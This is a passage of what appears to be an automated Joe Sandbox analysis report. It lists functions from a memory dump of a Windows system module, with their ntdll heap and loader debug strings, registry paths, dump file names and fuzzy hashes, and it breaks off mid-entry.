Opcode Fuzzy Hash: a851ed976bbbc40dc6c4ab304e540c2a43c1c6789afe768e809199ad53512216
Instruction Fuzzy Hash: 0122F3B4A00341EFEF01CF26C890B6ABBF5FF45708F548499E4868B285DB35D886CB61

Function 36D51460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 36D51728
HEAP[%wZ]: , xrefs: 36D51712
HEAP: , xrefs: 36D51596

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 32ce42f7cf4cc1ef1fbc289125ef016e71a3371fe75eb7528c85a6860947e4cd
Instruction ID: 8e97df2930fa06b4c0cc47b7a1c7a1f31ea6040add04cd8859a64a199d9a53fd
Opcode Fuzzy Hash: 32ce42f7cf4cc1ef1fbc289125ef016e71a3371fe75eb7528c85a6860947e4cd
Instruction Fuzzy Hash: 18E1FE74A04351DFEB15CF28C890B7ABBF1AF48308F158999E6D68B681DB34E945CB90

Function 36D5B6C0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Exit, xrefs: 36D5B714
LdrResGetRCConfig Enter, xrefs: 36D5B702
MUI, xrefs: 36D5B6D8, 36D5B7E7

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: 362a0a26a13598563145b329abc47a397b1619d8b55e1cb9bc12afd0c4a2e1fc
Instruction ID: c059e4a91d056dc954e65da5368cc00467d3854c70de5c95ce42d9c4b0deb920
Opcode Fuzzy Hash: 362a0a26a13598563145b329abc47a397b1619d8b55e1cb9bc12afd0c4a2e1fc
Instruction Fuzzy Hash: C5B10C79E047549FEF14CF6AC890B9DB7B2BF44344F224429E952EBA84D770E840CB62

Function 36DD368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

\SystemRoot\system32\, xrefs: 36DD3842
@, xrefs: 36DD389F
DelegatedNtdll, xrefs: 36DD36CE

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: 2ed90b4b2520b23cd2dbe7b4fbeb5bab2f07706423ceede7bd30ea69f23abd6e
Instruction ID: 46455f35d2b02403a60d1f37346d031477f7797cafba7ab1ca22cac75d76823b
Opcode Fuzzy Hash: 2ed90b4b2520b23cd2dbe7b4fbeb5bab2f07706423ceede7bd30ea69f23abd6e
Instruction Fuzzy Hash: 6FB1C1B1A05341AFE711EF65CC80F5BB7E8EF46754F520829FA50AB640D771E809CBA2

Function 36DE36EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

LdrpResMapFile Exit, xrefs: 36DE3727
LdrpResMapFile Enter, xrefs: 36DE3715
@, xrefs: 36DE3867

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
API String ID: 0-318774311
Opcode ID: 382c1f930473792edab796f77bf443617fbb09dcb5faa5562d80df100cb1c357
Instruction ID: e00f96431b00e25f5d6ac18489ae47aa78327e0e08a5df737d5aee975aede7e9
Opcode Fuzzy Hash: 382c1f930473792edab796f77bf443617fbb09dcb5faa5562d80df100cb1c357
Instruction Fuzzy Hash: 70817EB5A08350AFE311DB15CC80B6AB7E8EF85794F421929F980DB790DB74D904CBA2

Function 36DD7410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

VirtualAlloc, xrefs: 36DD75FC
Objects>%4u, xrefs: 36DD75D5
Objects=%4u, xrefs: 36DD75EA

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Objects=%4u$Objects>%4u$VirtualAlloc
API String ID: 0-3870751728
Opcode ID: 8dbd98fe0618dddce5edf34f0eb8c00c703d5bec0439c828cd1284b49157e259
Instruction ID: 19d1ce00df3f0703e86dfeb8905dd603345cf0cc4d9f270386ca2120995aec35
Opcode Fuzzy Hash: 8dbd98fe0618dddce5edf34f0eb8c00c703d5bec0439c828cd1284b49157e259
Instruction Fuzzy Hash: 00916EB4E002159FEB54DF69C884B9DBBF1FF48304F2481AAD904AB351E7759841CFA1

Function 36D5B440 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

LdrpResGetResourceDirectory Enter, xrefs: 36D5B465
{, xrefs: 36DB37B6
LdrpResGetResourceDirectory Exit, xrefs: 36D5B477

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-373624363
Opcode ID: 9334dbb0bc3f041c01d16ec60f4b0c1d33ad930012ef175b0714614f35bf48a8
Instruction ID: c7f84225600c7d66c4501c11bac08821916dc1b544fc1cda3593a1f6425ca348
Opcode Fuzzy Hash: 9334dbb0bc3f041c01d16ec60f4b0c1d33ad930012ef175b0714614f35bf48a8
Instruction Fuzzy Hash: BB91EFB5E00319CFEF11CF55C860BAE77B0FF05368F224195E951ABA90D7B89A80CB91

Function 36D8909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON

Download Yara Rule

Strings

%, xrefs: 36DC5D3F
@, xrefs: 36D89148
&, xrefs: 36DC5CF8

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: %$&$@
API String ID: 0-1537733988
Opcode ID: d1c1e085b699dbbd577bf9140ac2f569e0b8d041bfd1dd5e1dca1898e8978e92
Instruction ID: 589d13a5e055d4be3b653784f1687c36bbf3aa4d0dc0129512a369426de13d62
Opcode Fuzzy Hash: d1c1e085b699dbbd577bf9140ac2f569e0b8d041bfd1dd5e1dca1898e8978e92
Instruction Fuzzy Hash: DB71B0749183059FE710CF29C988B0BBBE9BF85758F604A1DF4DA4B690D730D905CB92

Function 36E2B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 36E2B82A
TargetNtPath, xrefs: 36E2B82F
GlobalizationUserSettings, xrefs: 36E2B834

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: b47d20f549fab68ab9451b821e74e6e8de501fab2602cc61f65fc9f0df0ebe52
Instruction ID: 92eca205b67a2942ff412044681fa15aac184baddb2b948eec9fb8e23a2aef6b
Opcode Fuzzy Hash: b47d20f549fab68ab9451b821e74e6e8de501fab2602cc61f65fc9f0df0ebe52
Instruction Fuzzy Hash: 80617172D01229AFDB21EF55DC88BD9B7B9AF14758F4101E5E509AB250CB34DE88CF90

Function 36D4F7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 36DAE6C6
HEAP[%wZ]: , xrefs: 36DAE6A6
HEAP: , xrefs: 36DAE6B3

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 8b1d0d3556aba2c52bf527fb7cff1d83cee11aff0d369a25eb92e94a840e118a
Instruction ID: c67e5e0bea125444f2c40198aa813b5a8074123b1f29956751a51b1c16b6a696
Opcode Fuzzy Hash: 8b1d0d3556aba2c52bf527fb7cff1d83cee11aff0d369a25eb92e94a840e118a
Instruction Fuzzy Hash: 7651F5B5A04744EFE312DBA5C994FA6BBF8EF45344F0444A4E6808F692DB34ED40DB61

Function 36D715F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

LdrpCompleteMapModule, xrefs: 36DBA590
minkernel\ntdll\ldrmap.c, xrefs: 36DBA59A
Could not validate the crypto signature for DLL %wZ, xrefs: 36DBA589

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: d8088aa21f69d19561a68139518a4ed9c35ef64523beeb411c38dfc1e68c5ee8
Instruction ID: f1244b1bb825dfe1c41d9e0af89b054a670e895aa7d7b16d0d17320932c3d2d8
Opcode Fuzzy Hash: d8088aa21f69d19561a68139518a4ed9c35ef64523beeb411c38dfc1e68c5ee8
Instruction Fuzzy Hash: 625110B4A007419BEB11CF29CD40B1A7FF4EF00758F1C02A5E9919B6E5DB74EA00CB96

Function 36D4758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 36DAAFAB
Invalid address specified to %s( %p, %p ), xrefs: 36DAAFCB
HEAP: , xrefs: 36DAAFB8

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 0-1151232445
Opcode ID: f1ea2f342a179f94e5466d5b18b783ceab98b846a578b38cec01b34f1db85f67
Instruction ID: 64253f1226622fc8d01292b22dbaa2f250b5f29b654d7f3ad500444e7008c35a
Opcode Fuzzy Hash: f1ea2f342a179f94e5466d5b18b783ceab98b846a578b38cec01b34f1db85f67
Instruction Fuzzy Hash: 124126B4B043808FFF1ADB69C484B6977E29F05388F68416DE4858F646DEB4DC86CB91

Function 36D816CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 36DC1B39
minkernel\ntdll\ldrtls.c, xrefs: 36DC1B4A
LdrpAllocateTls, xrefs: 36DC1B40

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
API String ID: 0-4274184382
Opcode ID: 55184ac3289450455c162438b7c0422dfd6e61540a923d90445b1d5e5dd7c26c
Instruction ID: 407af60224febfa1644bfc2c9c3d04d01c43db0dd3423865698dc13e85369201
Opcode Fuzzy Hash: 55184ac3289450455c162438b7c0422dfd6e61540a923d90445b1d5e5dd7c26c
Instruction Fuzzy Hash: 344179B5E01619EFDB05CFA9CC40AAEBBF6FF48704F518119E505A7640DB35A805CBA0

Function 36E05180 Relevance: 3.9, Strings: 3, Instructions: 114COMMON

Download Yara Rule

Strings

Leaked Block 0x%p size 0x%p (stack %p depth %u), xrefs: 36E052AB
HEAP[%wZ]: , xrefs: 36E05284
HEAP: , xrefs: 36E05291

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Leaked Block 0x%p size 0x%p (stack %p depth %u)$HEAP: $HEAP[%wZ]:
API String ID: 0-964947082
Opcode ID: 63cc6d3e1a5c9dac0e4956a38cc0631a8cc45ab5263e447063012ab137d39831
Instruction ID: bdcc738e51f24c2335a02594d4c516252842268c61264e5663c182be3e16eccf
Opcode Fuzzy Hash: 63cc6d3e1a5c9dac0e4956a38cc0631a8cc45ab5263e447063012ab137d39831
Instruction Fuzzy Hash: 5641C5F5911354EFE711EF67CA80E6A3BB9EF04308F604069EA2197245CA30C85DCF51

Function 36D833A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

SXS: %s() passed the empty activation context data, xrefs: 36DC29FE
RtlCreateActivationContext, xrefs: 36DC29F9
Actx , xrefs: 36D833AC

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: 710293105d64d9ab09dd695e62d2f639b891f6b68197c55e824dfeb51a9ab61a
Instruction ID: d53b9cf821013593dbfaf940b058b475850d4e79323f27bf36cbf369beac3c2f
Opcode Fuzzy Hash: 710293105d64d9ab09dd695e62d2f639b891f6b68197c55e824dfeb51a9ab61a
Instruction Fuzzy Hash: D7312232640315AFEB16CFA9D884F9637A4EF88724F524469ED0CDF691CB32D855CBA0

Function 36DDB594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON

Download Yara Rule

Strings

GlobalFlag, xrefs: 36DDB68F
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 36DDB632
@, xrefs: 36DDB670

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: a5fbbbcbeeeccd640e756dd54811e801caf8fe50373c359cb2308f053f0580b4
Instruction ID: 6895fd23f7b1c01d2285b09e5d26e14571d42bf9f823b64b39f02ca8e79754c6
Opcode Fuzzy Hash: a5fbbbcbeeeccd640e756dd54811e801caf8fe50373c359cb2308f053f0580b4
Instruction Fuzzy Hash: 83314CB5D00219AFDB00EF95DC80AEEBBB8EF44748F500469E605AB150DB749E04CBA4

Function 36DF13B9 Relevance: 3.9, Strings: 3, Instructions: 101COMMON

Download Yara Rule

Strings

OsBootstatPath, xrefs: 36DF1410
\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control, xrefs: 36DF13C4
@, xrefs: 36DF13F3

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @$OsBootstatPath$\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control
API String ID: 0-1050206962
Opcode ID: effba3c962f97a75b64f4dc25a0923af40bc9be3efb315836a9fb3632abdd220
Instruction ID: c0ad77781165e26a958d3f712c829f0db16a3366fdcd785c574dca15bb748f08
Opcode Fuzzy Hash: effba3c962f97a75b64f4dc25a0923af40bc9be3efb315836a9fb3632abdd220
Instruction Fuzzy Hash: 9A317A72D10619BFEB01CF95CC80EEEBBBDEB48658F420465EA04BB210D7399D048BA1

Function 36D81607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

DLL "%wZ" has TLS information at %p, xrefs: 36DC1A40
LdrpInitializeTls, xrefs: 36DC1A47
minkernel\ntdll\ldrtls.c, xrefs: 36DC1A51

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: 0114afd473727339faa97148457da40328ff62bfb7e6e96aa25a2572ec7d28c6
Instruction ID: 37f8b13d0eaf27eb9e190b47596cd39d316b9dca10c72038e0147aeb88ddc652
Opcode Fuzzy Hash: 0114afd473727339faa97148457da40328ff62bfb7e6e96aa25a2572ec7d28c6
Instruction Fuzzy Hash: ED31E271E10216FBF7118B65CC4AF5A7BB9EB80354F150169E684BB180DB70AD4ECBE0

Function 36D91270 Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 36D9127B
@, xrefs: 36D912A5
BuildLabEx, xrefs: 36D9130F

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-3051831665
Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction ID: b9bf6fadb6c902c37b9ea27c1e662b414ccf0c44961cffad844d1e2850507783
Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction Fuzzy Hash: 43319F7290061DAFDB11DFA5CD40EDEBBF9EB84764F404025E914AB2A0D730DA05CBA5

Function 36D474B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DAAEC0

Strings

RtlValidateHeap, xrefs: 36D474ED, 36D4752F

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: RtlValidateHeap
API String ID: 3446177414-1797218451
Opcode ID: 52286b88893c67b7b18a1e5841324c2ec02ecd65ec76b5de70639d9b5038b532
Instruction ID: 7da1591e977d5e15bf0209bc7a32a29539c75698d09fb2c8f19a0bfa9924865a
Opcode Fuzzy Hash: 52286b88893c67b7b18a1e5841324c2ec02ecd65ec76b5de70639d9b5038b532
Instruction Fuzzy Hash: AF412676F043959FEB02DF74C8947BDBBB2BF80214F588659D851AB280CB349A05DBA1

Function 36DF705E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DF70C2

Strings

kLsE, xrefs: 36DF70A4

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: kLsE
API String ID: 3446177414-3058123920
Opcode ID: a19aef5df28430c6ffeee6c9b6904bbb9d5b91d404f5b9a71a6ee8d5e5c1de5d
Instruction ID: 04c0f121339af3ce58e358772c50e9845403c6e8bcded975ebb2afd401fb1398
Opcode Fuzzy Hash: a19aef5df28430c6ffeee6c9b6904bbb9d5b91d404f5b9a71a6ee8d5e5c1de5d
Instruction Fuzzy Hash: 2E415C7292235087E712AF71DC88BA53BA5EB40754F220569EF50AE1C1C7B6449FCBB2

Function 36D652A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 36D655A3
@, xrefs: 36D65445

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 1ff2a9009a7ac8454afc44bf51f0d06e4d9a032e1a02efe413ab9d75b60d6ea9
Instruction ID: c127892f039569e56e14d797764bed0d89d8aa64d4d974fa4e1a877b76aab03b
Opcode Fuzzy Hash: 1ff2a9009a7ac8454afc44bf51f0d06e4d9a032e1a02efe413ab9d75b60d6ea9
Instruction Fuzzy Hash: 3332A0B89083518BEB14CF16C98073EB7F1EF89748F90491EF985972A4E774D894CB92

Function 36D55702 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D55778
RtlDebugPrintTimes.NTDLL ref: 36DB0816

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
